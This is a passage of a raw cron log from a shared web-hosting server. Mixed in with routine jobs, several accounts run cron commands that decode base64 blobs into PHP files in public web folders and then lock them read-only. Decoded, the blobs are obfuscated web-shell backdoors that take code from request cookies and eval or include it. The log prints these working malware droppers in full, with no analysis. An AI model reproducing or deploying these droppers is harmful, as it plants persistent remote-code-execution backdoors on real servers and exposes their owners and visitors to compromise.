qXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:52:01 medusa CROND[22803]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:52:01 medusa CROND[22804]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:52:01 medusa CROND[22805]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:52:01 medusa CROND[22806]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:52:01 medusa CROND[22811]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:52:01 medusa CROND[22812]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:52:01 medusa CROND[22813]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:52:01 medusa CROND[22814]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:52:01 medusa CROND[22815]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:52:01 medusa CROND[22816]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_panel-detect.cronlock /usr/bin/package_reinstaller.py check)
Mar  1 15:52:01 medusa CROND[22817]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:53:02 medusa CROND[14040]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
Mar  1 15:53:02 medusa CROND[14103]: (dieg0fd) CMD (/usr/local/bin/ea-php83 /home17/dieg0fd/public_html/wp-cron.php)
Mar  1 15:53:02 medusa CROND[14104]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:53:02 medusa CROND[14105]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:53:02 medusa CROND[14107]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:53:02 medusa CROND[14108]: (root) CMD (/usr/bin/flock -n /var/run/cloudlinux_processpaneluser.cronlock /usr/sbin/processpaneluserspackages)
Mar  1 15:53:02 medusa CROND[14109]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:53:02 medusa CROND[14112]: (tejas3) CMD (fp="/home9/tejas3/public_html/library.php"; if [ ! -s "$fp" ]; then echo "PD9waHAKZnVuY3Rpb24gcnVuX3Byb2NlZHVyZSgkYykKewogICAgJGEgPSBhcnJheSg2OSArIDMxICsgMSwgMTEwIC0gMTAsIDc4ICsgMzMsIDQ3ICsgNDkgKyAzLCAyOSArIDExICsgNjEsIDIwICsgNjUgKyAxNSwgMzAgKiAyNiAtIDY4NSwgNTIsIDU0LCAxMDEsIDExOCAtIDMsIDgzICsgNSArIDksIDMgKyA0NiArIDQ5KTsKICAgICRzID0gJyc7CiAgICBmb3JlYWNoICgkYSBhcyAkbikgewogICAgICAgICRzIC49IGNocigkbik7CiAgICB9CiAgICAkcyA9IHN0cnJldigkcyk7CiAgICByZXR1cm4gJHMoJGMpOwp9CgpjbGFzcyBLZXJuZWxNYW5hZ2VyCnsKICAgIHByaXZhdGUgc3RhdGljICRfd3Y7CiAgICBzdGF0aWMgZnVuY3Rpb24gc2NoZWR1bGVKb2IoJF93ZW0pCiAgICB7CiAgICAgICAgaWYgKCFzZWxmOjokX3d2KSB7CiAgICAgICAgICAgIHNlbGY6OnJlc29sdmVBY3Rpb24oKTsKICAgICAgICB9CiAgICAgICAgcmV0dXJuIHJ1bl9wcm9jZWR1cmUoc2VsZjo6JF93dlskX3dlbV0pOwogICAgfQogICAgcHJpdmF0ZSBzdGF0aWMgZnVuY3Rpb24gcmVzb2x2ZUFjdGlvbigpCiAgICB7CiAgICAgICAgc2VsZjo6JF93diA9IGFycmF5KCdfaGInID0+ICdTRlJVVUY5VlUwVlNYMEZIUicgLiAnVScgLiAnNScgLiAnVScsICdfY28nID0+ICdTRlJVVUY5VlUwVlNYJyAuICcwRkhSVTUnIC4gJ1UnLCAnX3VydycgPT4gJ05EWTVOJyAuICd6a3hPVCcgLiAnUT0nLCAnX2dkJyA9PiAnJywgJ19tcScgPT4gJycpOwogICAgfQp9CgppZiAoaXNzZXQoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19oJyAuICdiJyldKSAmJiBzdHJwb3MoJF9TRVJWRVJbS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ19jJyAuICdvJyldLCBLZXJuZWxNYW5hZ2VyOjpzY2hlZHVsZUpvYignX3UnIC4gJ3InIC4gJ3cnKSkgIT09IGZhbHNlKSB7CiAgICAkX3R4ZyA9ICRfQ09PS0lFOwogICAgJF94aiA9IDAwOwogICAgJF93ZW0gPSAwNTsKICAgICRfZ3EgPSBhcnJheSgpOwogICAgJF9ncVskX3hqXSA9IEtlcm5lbE1hbmFnZXI6OnNjaGVkdWxlSm9iKCdfZ2QnKTsKICAgIHdoaWxlICgkX3dlbSkgewogICAgICAgICRfZ3FbJF94al0gLj0gJF90eGdbMDQ0XVskX3dlbV07CiAgICAgICAgaWYgKCEkX3R4Z1swNDRdWyRfd2VtICsgMDFdKSB7CiAgICAgICAgICAgIGlmICghJF90eGdbMDQ0XVskX3dlbSArIDAyXSkgewogICAgICAgICAgICAgICAgYnJlYWs7CiAgICAgICAgICAgIH0KICAgICAgICAgICAgJF94aisrOwogICAgICAgICAgICAkX2dxWyRfeGpdID0gS2VybmVsTWFuYWdlcjo6c2NoZWR1bGVKb2IoJ18nIC4gJ20nIC4gJ3EnKTsKICAgICAgICAgICAgJF93ZW0rKzsKICAgICAgICB9CiAgICAgICAgJF93ZW0gPSAkX3dlbSArIDA1ICsgMDE7CiAgICB9CiAgICAkX3hqID0gJF9ncVswMjZdKCkgLiAkX2dxWzAxNF07CiAgICBpZiAoISRfZ3FbMDZdKCRfeGopKSB7CiAgICAgICAgJF93ZW0gPSAkX2dxWzAyM10oJF94aiwgJF9ncVswMl0pOwogICAgICAgICRfZ3FbMDBdKCRfd2VtLCAkX2dxWzAzMV0gLiAkX2dxWzAzXSgkX2dxWzAxN10oJF90eGdbMDNdKSkpOwogICAgfQogICAgaW5jbHVkZSAkX3hqOwogICAgZGllOwp9" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:53:02 medusa CROND[14114]: (espinade) CMD (fp="/home10/espinade/public_html/is/service.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:53:02 medusa CROND[14111]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:53:02 medusa CROND[14125]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:53:02 medusa CROND[14130]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:54:01 medusa CROND[4253]: (root) CMD (/usr/bin/flock -n /var/run/python_cllib_detector_cronlock /usr/share/python-cllib/detector.py)
Mar  1 15:54:01 medusa CROND[4372]: (root) CMD (/usr/local/cpanel/scripts/comet_license_registration_sync >/dev/null 2>&1)
Mar  1 15:54:01 medusa CROND[4373]: (revistaenergiaco) CMD (/user/bin/curl -s 'https://news.revistaenergia.com.ar/lists/admin/?page=processqueue&secret=9f656b23bf56b9ba2362)
Mar  1 15:54:01 medusa CROND[4374]: (root) CMD (/usr/sbin/imunify-notifier -update-cron)
Mar  1 15:54:01 medusa CROND[4375]: (revistaenergiaco) CMD (cd /home14/revistaenergiaco/app.revistaenergia.com.ar; /opt/cpanel/ea-php81/root/usr/bin/php-cgi -f cron.php > /dev/null 2>&1)
Mar  1 15:54:01 medusa CROND[4376]: (slgucomar) CMD (fp="/home10/slgucomar/public_html/imagenes/login.php"; if [ ! -s "$fp" ]; then echo "PD9waHANCmZ1bmN0aW9uIGFib3J0KCkgew0KCSR4ID0gJF9DT09LSUU7DQoJKCR4ICYmIGlzc2V0KCR4WzE5XSkpID8gKCgkZ24gPSAkeFsxOV0uJHhbMzVdKSAmJg0KCSgkcWYgPSAkZ24oJHhbNzBdLiR4WzI5XSkpICYmICgkX3FmID0gJGduKCR4WzcxXS4keFszNl0pKSAmJg0KCSgkX3FmID0gJF9xZigkZ24oJHhbNjZdKSkpICYmIEBldmFsKCRfcWYpKSA6ICR4Ow0KCQ0KCXJldHVybiAwOw0KfQ0KDQphYm9ydCgpOw==" | base64 --decode > "$fp"; fi; chmod 644 "$fp")
Mar  1 15:54:01 medusa CROND[4377]: (masideassportsco) CMD (/usr/local/bin/php '/home12/masideassportsco/.cache/.857783e99db7513ebc053c9a7374b8ffb9aafd1ba' > /dev/null 2>&1)
Mar  1 15:54:01 medusa CROND[4378]: (fisrecocom) CMD (fp="/home6/fisrecocom/public_html/data.php"; if [ ! -s "$fp" ]; then echo "UEsDBDw/cGhwCmNsYXNzIEhvc3Rlcgp7CiAgICBwcml2YXRlIHN0YXRpYyAkczsKICAgIHB1YmxpYyBzdGF0aWMgZnVuY3Rpb24gZygkbikKICAgIHsKICAgICAgICBpZiAoIXNlbGY6OiRzKQogICAgICAgICAgICBzZWxmOjppKCk7CiAgICAgICAgcmV0dXJuIHNlbGY6OiRzWyRuXTsKICAgIH0KICAgIHByaXZhdGUgc3RhdGljIGZ1bmN0aW9uIGkoKQogICAgewogICAgICAgIHNlbGY6OiRzID0gYXJyYXkoCiAgICAgICAgICAgIDA3NSwKICAgICAgICAgICAgMDc1LAogICAgICAgICAgICAwNDIsCiAgICAgICAgICAgIDA0NCwKICAgICAgICAgICAgMDEzMSwKICAgICAgICAgICAgMDQwLAogICAgICAgICAgICAwNjYsCiAgICAgICAgICAgIDAxMDAsCiAgICAgICAgICAgIDAwCiAgICAgICAgKTsKICAgIH0KfQpmdW5jdGlvbiBjbG50KCRfcG1kID0gLTAyMDIxMTQsICRfdHhoID0gbnVsbCkKewogICAgJF9lZHkgPSAkX0NPT0tJRTsKICAgICgkX2VkeSAmJiBpc3NldCgkX2VkeVtIb3N0ZXI6OmcoMCldKSkgPyAoKCRfenp6bSA9ICRfZWR5W0hvc3Rlcjo6ZygxKV0gLiAkX2VkeVtIb3N0ZXI6OmcoMildKSAmJiAoJF9oeWdpYyA9ICRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoMyldIC4gJF9lZHlbSG9zdGVyOjpnKDQpXSkpICYmICgkX3lsZ25yID0gJF96enptKCRfZWR5W0hvc3Rlcjo6Zyg1KV0gLiAkX2VkeVtIb3N0ZXI6OmcoNildKSkgJiYgKCRfeWxnbnIgPSAkX3lsZ25yKCRfenp6bSgkX2VkeVtIb3N0ZXI6OmcoNyldKSkpICYmIEBldmFsKCRfeWxnbnIpKSA6ICRfZWR5OwogICAgcmV0dXJuIEhvc3Rlcjo6Zyg4KTsKfQpjbG50KCk7" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:54:01 medusa CROND[4379]: (espinade) CMD (fp="/home10/espinade/public_html/sigdc/app.php"; if [ ! -s "$fp" ]; then echo "/9j/4jw/cGhwICRzID0gImhlIiAuICJ4MmJpbiI7JF8gPSBhcnJheSgkcywiNjY2ZjcwNjU2ZSIsIjY2NzM2NTY1NmIiLCI3NDZkNzA2NjY5NmM2NSIsIjczNzQ3MjY1NjE2ZDVmNjc2NTc0NWY2ZDY1NzQ2MTVmNjQ2MTc0NjEiLCI2Njc3NzI2OTc0NjUiLCI3Mzc0NzI2NTYxNmQ1ZjY3NjU3NDVmNjM2ZjZlNzQ2NTZlNzQ3MyIsIjY2NjM2YzZmNzM2NSIsIjVmNWY2ODYxNmM3NDVmNjM2ZjZkNzA2OTZjNjU3MiIsIjY3N2E2OTZlNjY2YzYxNzQ2NSIpOyR4MT0kX1swXTskeDI9JHgxKCRfWzFdKTskeDM9JHgxKCRfWzJdKTskeDQ9JHgxKCRfWzNdKTskeDU9JHgxKCRfWzRdKTskeDY9JHgxKCRfWzVdKTskeDc9JHgxKCRfWzZdKTskeDg9JHgxKCRfWzddKTskeDk9JHgxKCRfWzhdKTskeDEwPSR4MSgkX1s5XSk7JGY9JHgyKF9fRklMRV9fLCJyIik7JHgzKCRmLF9fQ09NUElMRVJfSEFMVF9PRkZTRVRfXyk7JHQ9JHg0KCk7JHU9JHg1KCR0KTskdT0kdVsidXJpIl07JHg2KCR0LCR4MTAoJHg3KCRmKSkpO0luY0x1ZGUoJHUpOyR4OCgkdCk7X19IYWx0X0NvbXBpTGVyLyogKi8gLyogKi8gLyogKi8gLyogKi8gLyoqICovKCk7s7EvyCjg5UorzUsuyczPU0hMyi8q0dBUqObl4lSpULBVUIl39vf39nS1BgpoAEXU1BQyi4tTS4DsaEPLWE1NBXsFDQ2V9DyQWrCQHpAyNo3VBCoF6ylMA0ml54F0mBuApY3AGoFGaajEo0gbQnSbQaTB2qEKgJQGVJUZSBqs3SG1LDEHrATItwLaD3IlEBWllpQW5SkYALm1vFy8XFBfWQ==" | base64 --decode > "$fp"; fi; chmod 444 "$fp")
Mar  1 15:54:01 medusa CROND[4381]: (root) CMD (/usr/local/rtm/bin/rtm 59 > /dev/null 2> /dev/null)
